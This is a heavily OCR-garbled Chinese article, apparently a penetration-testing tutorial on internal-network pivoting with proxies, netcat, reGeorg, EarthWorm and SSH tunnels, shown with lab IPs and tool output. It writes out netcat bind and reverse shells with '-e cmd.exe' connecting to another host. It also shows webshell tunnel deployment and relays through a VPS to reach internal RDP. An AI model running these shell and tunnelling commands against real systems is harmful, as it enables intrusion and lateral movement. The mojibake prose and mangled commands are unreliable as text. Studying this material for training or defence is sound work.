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FaEd, ProxyMClientEE—1TX1H, SServer@EBER; RaKEHF, Proxy
MServerFAE—1TXH#E, XClientiZH, EEIXAEREAEERONEHE -1 H
ENER, BERBRRBERNME, FTIMEMERBEFELAEHRT T, MNUER
ERMAKELSAMMEDRE, FEETHEUMREDAE,

ik L Be i
LAN LAN
Oicat Client Server
Cilent : Proxy 3 Sarver Clignt Froxy -y Server
"
Client Cliznt Server

2. 1@ (Forward Proxy)

:]=:>.=>

Lhost- —>proxy— —>Rhost

Lhost A TihBEIRhost, @MproxyXRET —TiEXKFBIEEBInERhost, AEproxy
MRhostERIERHABIKBIWNBTIRE A Lhost, FBERFFOREMEBproxyRET
¥ 1M11X15@Rhost,

2.2k ¥¥E(Reverse Proxy)

:_| = s —
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Lhost<—-—-->proxy<--->firewall<--->Rhost

MEBRAERR (KIE) , —RBERT, BHKIEEE AR EEILIN A 23 5E 6 35 [8) 3 15 8] A
MALes, PRUARIIR B R @G,

Lhost R@Eproxy R EERBMNIBER, BARILMEIME, proxyBSHIM, AREHEREH

HEBERER, IHENFLMEERELER XIER R Fproxy #HE # L A9 BT 1& 7T A B X 1Y
HITHFE,

RN , ST T

8 B X 7

FaREBENEEFH, RARKENERSiHE, IUEBEBAIERRKEREMEONEL NS
M NTa, YNERERZEEHRBES(Lhost) E— W& (proxy)E&iKTa, REKEME
SR Ta(Rhost) B H HES(proxy)IFk&EIRBE2(Lhost),

BEAZERT, KAEBEARXZETAHA"@HHE"E?

B ESockshil~~

3 SocksiiX

i BSocksthil? ?

PXER: BABLZE2FIERRNIN, THEZOSIZZRIENELE (FEE) .
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—rH = V. BIEFI4EPeE
ER=E V. EEMNYErmEmaIERE
MR = IPifERIE R BRERIEER

HEER= RN RGEFIERETE
YRR YRR

ER—MAMNFERXKENNN, REZHIHLHAE. tdllFanti, RI1ES~~

HANSocksNMTEMESKRREZE, ATCPMHNEHAE, RMAFRHUMEE
ICMPERZENNEBEEXRS.

BRIEM ThiA: SOCKS4fISOCKS5

SOCKS4XX 5 TELNET., FTPHTTPZETCPHIY;
SOCKS5X%#FTCP5UDP, #AXELZERINEA R,

Ps: SocksAXZ¥FICMP, TEEERping® <., . ICFMH~—~~
LMW, EFsocksWERANRNEBEARSWIANNTIAR, MREERE-~

THERTIARARFENNAERTE:

https://mp.weixin.qq.com/s/6Q_i34ND-Epcu-71LHZRIA 5/18



2020/7/27 515 2 AR K

reGeorg

[ SSHiRO%%E

EarthWormEFESHERER ]

EEIE Ssocks LinuxZESE

T

-

—— Proxychains(LinuxE&)
LCX

Proxifier(Windows=E&)
TR =

Sockscap64(WindowsF&)

i

THENBEMNANE@QSETEFTL2RRIE? FETRMAB AT REMSTKIE~

4 Natcat

IEMNNEHELEF--mELED, LIUNC, NIFEIF, TEFRAMEZRARXKREshell,
EMA: 192.168.153.138

FHB: 192.168.153.140
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IE @) % %

EEHNMAHITnc -1 —p 5555 -t —e cmd.exe

~-tEBItelnetEXMNIT cmd.exe i, AAUEE,

C:llseps’ “Desktop™nc>nc e cmd.exe

EENBHITnc —nvv 192.168.153.138 5555

cda:aad?:39f8:1b45%11

= @ # 1%

EEHBYMIFne -lp 5555

192.168.153.1
: 255.255.255.0
192.168.153.1

EEXEHNAKRSENc -t —e cmd 192.168.153.140 5555:

https://mp.weixin.qq.com/s/6Q_i34ND-Epcu-71LHZRIA




2020/7/27 N 335 2 AHLE: &

“Desktopnc>nec -t —e cmd 192.168.153.148 5555

5 reGeorg+Proxychains

reGeorgereDuhB AR, TEZEANAMKRSZHINIRmOBE T http/httpshE & i & 3
KM,

1. EfEreGeorgitunnel.jspElwebEHA, JHO R, HELRIIAMIFEO,
< C O == 192168 /tunnel.nosocket.php

Georg says, 'All seems fine'

FHMBMUpythonIHIBIiE(T:

python reGeorgSocksProxy.py —-p 1080 -u http://192.168.153.137/tunne
l.jsp
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:~/reGeorg# python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.1
7/tunnel.jsp

. every office needs a tool like Georg

willem@sensepost.com / @ w_m__
sam@sensepost.com / @trowalts
etienne@sensepost.com / @kamp_staaldraad

] Log Level set to [INFO]

] Starting socks server [127.0.0.1:1080], tunnel at [http://192.168.153
.137/tunnel.jsp]
[INFO ] Checking if Georg is ready
[INFO ] Georg says, 'All seems fine'

FAIKEproxychainsWBiIg O, #1760, —fRESnmapfImetasploiti#1T/E4E
AR B IE,

Ps: socks4RAMNAZFHudpFMicmpthil, FALAERAnmapEM LE-sT -PnBl{EH
tepth B RN ERicmpthiX.

i~/reGeorg# proxychains nmap -s
ProxyChains-3.1 (http://proxychains.sf.net)

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-28 05:18 CST
|S-chain|-<>-127.0.0.1:1080-<><>-192.168.153.137:80-<><>-0K
Nmap scan report for bogon (192.168.153.137)

Host is up (0.00084s latency).

PORT STATE SERVICE

80/tcp open http

MAC Address: 00:0C:29:59:B9:9E (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
1~/ reGeorg#

6 Earthworm+Proxychains

EW Z2—EEBXANNKZFETLR, EBSOCKSVERSFSRIZMin Ok KM ARKIZOI]
e, TREERAMNBNRIETTHRMNBFE,
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ZIHREEBU"EQD", "RA"., "ZREF"FEARNITE—FNEEE, H]
FIEBMENFERRBMNERS, 2800 XKiEhRtT

5t
=
)
3
=

% Linux. Windows, MacOS., Arm-Linux WHBIEER, BIEEFER.

ZTEEHET ssocks # lcx.exe WREIZE, HHBHTEZMNINEERL.
Bl TERBHAMEBRAS, B -s SHHITETE, 23 H:
ssocksd rcsocks rssocks

lcx_slave lcx_tran lcx_listen

Hrh SOCKSSH REMZNIBIEXIFH ssocksd ] rssocks 12#t, o3 NIEEmS
kmEsocksftiE,

HRH lox BERSHTHBMLENRE socks RS 2E 2 BB K

lex 5 EE

lcx_slave ZEE— MBI REANEENEBRA, 53— MEEREREEMN.
lcx_tran ZEE, BERIFARMIEOERAEBR, HERXEBREREEN,

lcx_listen ZEE, BEIHIAMEOZEWHE, ARERIELBEMMNEZOENRER
HmE.
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BITASIcxEINEENEE, JUNLMZEAMKE TS ENK,

6.1 FMEASOCKS5HR % 22

SEMNELREFELANIPEATES ALK

./Jew_for_Win.exe -s ssocksd —-| 8888

:~# proxychains nmap -sT -Pn 192.168.153.140 -p 3389
roxyChains-3.1 (http://proxychains.sf.net)

btarting Nmap 7.40 ( https://nmap.org ) at 2017-04-28 06:58 C5T
|D-chain|-<>-127.0.0.1:1080-<>-192.168.153.140:8888-<- -timeout
|D-chain|-<>-127.0.0.1:1080-<><>-192.168.153.140:3389-<--timeout
Nmap scan report for bogon (192.168.153.140)
ost is up (30s latency).

STATE SERVICE
389/tcp closed ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 30.10 seconds

6.2 R¥SOCKS5fR %22

HEMNBLRAFELANIP, BIRESANEZEsocksfUHE,
FE—BREALN ip WNENALGITUTH<:

./Jew_for_linux64 -s rcsocks -1 1080 -e 8888
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REERBERNLANVPSEARM—TRIEREE, 1080 OWEIMNAIEIFEKRIER258888
i O .

EEMENBLEENSOCKSE5RE HRERAMENANB8888iH M :

ew_for_Win.exe —s rssocks —-d 192.168.153.129 —-e 8888

C:llsers™. o wesktoprewdew_for_Win.exe —s vrssocks -d 192.168.153.148 -« BHES8

rssocks 172.168.15%3.148:8888 <——[188688 usecl—>» socks server

At EN (192.168.153.129) AFEEBEIRNMAMN192.168.153.129:1080 X ™11 &,
FIFHAMNIEE (192.168.153.129)

SARURAMENNMRE LAMip, MANIEELANRAITHNS BREARMHITEIA,
:~/ew# proxychains nmap -s
ProxyChains-3.1 (http://proxychains.sf.net)

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-28 08:07 CST
|D-chain|-<>-192.168.153.140:1080-<><>-192.168.153.138:3389-<><>-0K
\map scan report for bogon (192.168.153.138)

ost is up (0.31s latency).

PORT STATE SERVICE

3389/tcp open ms-wbt-server

imap done: 1 IP address (1 host up) scanned in 0.48 seconds
i~/ew#

6.3 _RMBHB(ELAMIP)

BIREMNKSTAHAMAETHNABENNEZTHNRE, AETNEBT2HN K, —1r
10.129.72.168FE @I WM, —H192.168.153. 140 R EEFEEAMBEN, FT3EIH R AW
HERRE, BENTUNIFOANER, BFILEIHLEINN,
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W BIEZ R

2 FIP, AisihEra g
10.XX.XX. 162
192.168.153.140

%

FIITTITTITR Y

MyPC

ATH

BEHL

F‘F-i]"‘ﬁl’:il?hﬁ it i3 [P
: 192.168.153.138

PR EHL

S EEewEIBEN, FlAssocksd X /E3n18888im[OHSOCKSHRIE, LW T
ew_for_Win.exe —-s ssocksd -1 8888

REEAENHRIT:

ew_for_Win.exe -s Icx_tran -1 1080 -f 192.168.153.138 -g 8888

lcx_tr .Jn .1 1888 -f

10000 usec]--»

BXERI1080HmAWENRKIEBERERLEBEN (192.168.153.138) #8888ix M.,

REMyPcRL el L@ T AR SN MK 10.129.72.168:108015@ B,

:~# proxychains nmap -sT -Pn 192.168.153.138 -p 3389
ProxyChains-3.1 (http://proxychains.sf.net)

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-28 09:08 CST
|D-chain|-<>-10.129.72.168:1080-<><>-192.168.153.138:3389-<><>-0K
imap scan report for bogon (192.168.153.138)

ost is up (0.54s latency).

PORT STATE SERVICE

3389/tcp open ms-wbt-server

\map done: 1 IP address (1 host up) scanned in 0.60 seconds

6.4 ZHMBHAIEB(XTLAMWMIP)
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BRIEEMNAETEAMAENMBENMNIZFHNER, AEH (NAT) ZELAWIP, thEiEA
BANZR, BENATNHRANEZIERE, EXEIHEINF,

E 1
45.XX.XX.72 & wille———0 ! NAT GofLRIP) Aaisirar
192.168.153.140

-]
7 %
— :
- : BEM i
MyPC P FRUAEISN, AUAENRE - -
‘]92.153.153.133 mEEN
XRBIERMD

1.EAMvps (45.xxx.xxx.72) ARMNEEEE, B10800m OB R IBIBERERSA
8888im O ;
.Jew_for_linux64 —-s lcx_listen -1 10800 -e 8888

root@vultr:~# ./ew for linux64 -s 1
rcsocks 0.0.0.0:10800 <--[10000 use
nit cmd_server_for_rc here

start listen port here

x_listen
]_

C

2.BEHM (192.168.153.138) FH IEE@MF/=E8888ix 1 ;

.Jew_for_Win.exe —-s ssocksd -1 9999

C:vllsers™: Desktopsewrew_for_Win.exe —-s ssocksd -1 9999
ssocksd B.0.8.8:9999 < [180880 usec ]l——» socks server

3. AEXHFABIcx_slaveAR, BAMVPSHIS88Im OFBEN 99RO EFEHRFE;

.Jew_for_Win.exe -s lcx_slave -d 45 . XXX.XXX.72 -e 8888 -

f192.168.153.138 -g 9999
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4. MAEMYPCH BT iHE45.xxx.xxx.72:10800 & £ FH192.168.153.138 E H 12 £ 4

socksb5fC I, KIEIN, vpsaBrssockscmd_socket OK!EmR,

root@vultr:~# ./ew Tor

rcsocks 0.0.0.0:10800 <--[10000 usec]--> ©
init cmd server for rc here

start listen port here

rssocks cmd_socket OK!

:~# proxychains nmap -sT -Pn 192.168.153.138 -p 3389

ProxyChains-3.1 (http://proxychains.sf.net)

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-28 09:59 CST
|D-chain|-<>-45." .:10800-<><>-192.168.153.138:3389-<><>-0K

Nmap scan report for bogon (192.168.153.138)
Host is up (2.1s latency).
STATE SERVICE
ms-wbht-server

P address (1 host up) scanned in 2.17 seconds

7 sshfiZ BB R

sshE=1TEANKO%R KRGS, DABEIER.

socksf{IE:

ssh —qTfnN -D port remotehost
SEIERR

-C A FEENE

-q BFEFEN

-TAEH shell

-f FE81E1T, HAEEMLE -n 3
-NARITImIZaG <

— g 7t VF % i = AL 4% 7R 3t 52 & B in O

-nit stdin EFM@E /dev/null (BFIEM stdin EZEUEIE)
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—-L port:host :hostport IF @t

[1BAMA(ZERPI)NE N IR O &R T inE €V NEE IR O

-R port:host :hostport %@ =

/1B EEEN(RSSE)OEDT IR O %R E A M s8N S8 ANIEE IR O
-D port socks5{t I

[/HEE—TAE "SHS" NAEFROKER.

7.1 sshZihit k&

mEEERSE LEMNmysql, mysql FNEEEHEroot AP &M, X &FE 7 @i &
ML, BidsshiGRFBMNI306Im O LKEI AM1234im O Uroot A P in 72 & b
mysql,

ssh —CfNg -L <&Mt >:<AHEO>:<BirBittt>:<B#BiE O>AF 2@ HiR
IP(A)

ssh —CfNg -L 1234:127.0.0.1:3306 root@45.XX.XX.X21

-1 -uroot -p

ERROR 1130 (HY000): Host '60 . '1" is not allowed to connect to this MySQL s
erver

:~# ssh -CfNg -L 1234 127.0.0.1:3306 root@45. 11
Bad local forwarding specification '1234'

# ssh -CfNg -L 1234:127.0.0.1:3306 root@45. 21

root@45 21's password:

L~

:~# mysql -h 127.0.0.1 -uroot -p -P 1234
Enter password:
elcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 383
Server version: 5.7.17 MySQL Community Server (GPL)

Copyright (c) 2000, 2016, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c¢' to clear the current input statement.

MySQL [(none)]> i

7.2 sshiznf2# &k
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AMBRS2E, INAGEEREZEIBLD, FRREELR, BAMNNRS:mOFE &2 5K i
O, XEEHEIIMNEED, Mo UERIFLEOETAMSEO,

ssh —CfNg -R <AHhimO>:<BiBitit>:<BirBixs 0> AR B@KihIP

ssh —CfNg -R 81:127.0.0.1:80 root@192.168.153.142

+~# ssh -CfNg -R 81:127.0.0.1:80 root@l92.168.153.142
root@lo?.168.153.142's password:

~# |

METE192.168.153.142i59)127.0.0.1: 81 2 A NN REZ £ 801E O .

127.0.0.1 c \ B »

 © opening

Q. sé You have chosen to open: I >

which is: HTA File (441 bytes)
from: http://127.0.0.1:81

What should Firefox do with this File?

Openwith | Browse...

@ Save File

Do this automatically for Ffiles like this From now on.

Cancel OK

7.3 sshai&#E kL

nimRSFERFBE, NMENLEZERILNE, FEF—aFJNUNpETixRSFNE
MERHKR, RENKEBI, KAEBERAEEHENEIR.
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ssh —qTfnN -D <Kz 0> BFPR@BkiRIP(A)

ssh —gTfnN -D 1080 root@45.XX.XX.X21

:~# ssh -qTfnN -D 1080 root@45.°
1's password:

~#

AihProxychainsfig&Esocks4 127.0.0.1:1080,

:~# proxychains curl www.google.com

ProxyChains-3.1 (http://proxychains.sf.net)

|DNS - request| www.google.com
|D-chain|-<>-127.0.0.1:1080-<><>-4,2.2,2:53-<><>-0K

|DNS - response| www.google.com is 108.177.97.104
|D-chain|-<>-127.0.0.1:1080-<><>-108.177.97.104:80-<><>-0K

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE=302 Moved</TITLE></HEAD><BODY=>
<H1>302 Moved</H1l>

he document has moved

<A HREF="http://www.google.co.jp/?gfe rd=cr&amp;ei=YoYDWc- MM3kgAGjj6b4Cg">here<

MEE THB

PEMMARE, APXRES, FFERFR

IR HEIDXKIE B UFSSEA
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